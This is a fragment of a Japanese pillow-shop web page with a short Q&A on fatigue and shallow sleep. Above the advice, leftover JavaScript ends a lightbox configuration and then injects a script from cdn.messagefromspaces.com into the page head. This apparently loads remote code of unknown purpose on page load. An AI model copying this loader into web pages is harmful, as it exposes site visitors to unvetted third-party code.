, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Q:疲れがとれません。アドバイスください。

A:本来、眠って疲れをとり、朝、元気に目覚めなくてはいけないのに、現代では、睡眠が浅いため、なかなか気持ちよく起きれる方が少ないのが現状です。

眠りの不満や不快感は、まずは睡眠環境を整えたり、日中の温かいものを食べたり、お風呂にゆっくり入ったり、少しの運動をしたりして、体を冷やさない生活スタイルも大切になってきます。寝ても疲れが取れない方も、快眠まくら家ではアドバイス、サポートさせていただきます。


朝起きた時に首・肩・腰が痛いことはありませんか?
そんな悩みを受けて出来上がった枕があります

睡眠が浅い(不眠) 記事一覧


このページの先頭へ